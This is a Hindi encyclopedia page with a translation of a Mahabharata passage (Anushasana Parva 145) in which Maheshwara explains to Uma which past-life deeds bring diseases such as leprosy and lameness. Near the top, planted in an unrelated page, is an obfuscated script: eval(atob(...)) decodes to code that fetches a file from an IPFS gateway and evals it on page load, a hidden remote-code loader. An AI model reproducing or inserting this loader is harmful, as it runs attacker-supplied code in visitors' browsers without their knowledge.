महाभारत अनुशासन पर्व अध्याय 145 भाग-18

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

पञ्चचत्वारिंशदधिकशततम (145) अध्‍याय: अनुशासन पर्व (दानधर्म पर्व)

अन्धत्व और पंगुत्व आदि नाना प्रकारके दोषों और रोगों के कारणभूत दुष्कर्मों का वर्णन

महाभारत: अनुशासन पर्व: पञ्चचत्वारिंशदधिकशततम अध्याय: भाग-18 का हिन्दी अनुवाद

श्रीमहेश्वर ने कहा- देवि! जो मनुष्य पूर्वजन्म में परायी स्त्रियों का सतीत्व नष्ट करने वाले होते हैं, जो धूर्त मानव पशुयोनि में मैथुन के लिये चेष्टा करते हैं, रूप के घमंड में भरे हुए जो धूर्त काम-दोष से कुमारी कन्याआं और विधवाओं के साथ बलात्कार करते हैं, शोभने! ऐसे मनुष्य मृत्यु के पश्चात् जब फिर जन्म लेते हैं, तब मनुष्ययोनि में आने के बाद वैसे ही रोगी होते हैं। प्रिये! वे प्रमेहसम्बन्धी भयंकर रोगों से पीडि़त रहते हैं। उमा ने पूछा- भगवन्! कुछ मनुष्य सूखारोग (जिसमें शरीर सूख जाता है) से पीड़ित एवं दुर्बल दिखायी देते हैं। किस कर्मविपाक से ऐसा होता है? यह मुझे बताइये। श्रीमहेश्वर ने कहा- देवि! जो मनुष्य मांस पर लुभाये रहते हैं, अत्यन्त लोलुप हैं, अपने लिये स्वादिष्ट भोजन चाहते हैं, दूसरों की भोगसामग्री देखकर जलते हैं तथा जो दूसरों के भोगों में दोषदृष्टि रखते हैं, शोभने! ऐसे आचार वाले मनुष्य पुनर्जन्म लेने पर सूखा रोग से पीडि़त हो इतने दुर्बल हो जाते हैं कि उने शरीर में फैली हुई नस-नाडि़याँ तक दिखायी देती हैं। देवि! वे पापकर्मों का फल भोगने वाले मनुष्य वैसे ही होते हैं। उमा ने पूछा- भगवन्! कुछ मनुष्य कोढ़ी होकर कष्ट पाते हैं, यह किस कर्मविपाक का फल है? यह मुझे बताइये। श्रीमहेश्वर ने कहा- देवि! जो मनुष्य पहले मोहवश आघात, वध, बन्धन तथा व्यर्थ दण्ड के द्वारा दूसरों के रूप का नाश करते हैं, किसी की प्रिय वस्तु नष्ट कर देते हैं। चिकित्सक होकर दूसरों को अपथ्य भोजन देते हैं, द्वेष और लोभ के वशीभूत होकर दुष्टता करते हैं, प्राणियों की हिंसा के लिये निर्दय बन जाते हैं, मल देते और दूसरों की चेतना का नाश करते हैं, शोभने! ऐसे आचरण वाले पुरूष पुनर्जन्म के समय यदि मनुष्य-जन्म पाते हैं तो मनुष्यों में सदा दुःखी ही रहते हैं। उस जन्म में वे सैकड़ों कुष्ठ रोगों से घिरकर क्लेश से पीडि़त होते हैं। कोई चर्मदोष से युक्त होते हैं, कोई व्रणकुष्ठ (कोढ़ के घाव) से पीडि़त होते हैं अथवा कोई सफेद कोढ़ से लांछित दिखायी देते हैं। देवि! जिसने जैसा किया है उसके अनुसार फल पाकर वे सब मनुष्य नाना प्रकार के कुष्ठ रोगों के शिकार हो जाते हैं। उमा ने पूछा- भगवन्! किस कर्म के विपाक से कुछ मनुष्य अंगहीन एवं पंगु हो जाते हैं, यह मुझे बताइये। श्रीमहेश्वर ने कहा- देवि! जो मनुष्य पहले लोभ और मोह से आच्छादित होकर प्राणियों के प्राणों की हिंसा करने के लिये उनके अंग-भंग कर देते हैं, शस्त्रों से काटकर उन प्राणियों को निश्चेष्ट बना देते हैं, शोभने! ऐसे आचार वाले पुरूष मरने के बाद पुनर्जन्म लेने पर अंगहीन होते हैं, इसमें संशय नहीं है। वे स्वभावतः पंगुरूप में उत्पन्न होते हैं अथवा जन्म लेने के बाद पंगु हो जाते हैं। उमा ने पूछा- भगवन्! कुछ मनुष्य ग्रन्थि(गठिया), पिल्लक (फीलपाँव) आदि रोगों से कष्ट पाते देखे जाते हैं, इसका क्या कारण है? यह मुझे बताइये। श्रीमहेश्वर ने कहा- देवि! जो मनुष्य पहले लोगों की ग्रन्थियों का भेदन करने वाले रहे हैं, जो मुष्टि-प्रहार करने में निर्दय, नृशंस, पापाचारी, तोड़-फोड़ करने वाले और शूल चुभाकर पीड़ा देने वाले रहे हैं, शोभने! ऐसे आचरणवाले लोग फिर जन्म लेने पर गठिया और फीलपाँव से कष्ट पाते तथा अत्यन्त दुःखी होते हैं।


« पीछे आगे »

टीका टिप्पणी और संदर्भ

संबंधित लेख

साँचा:सम्पूर्ण महाभारत अभी निर्माणाधीन है।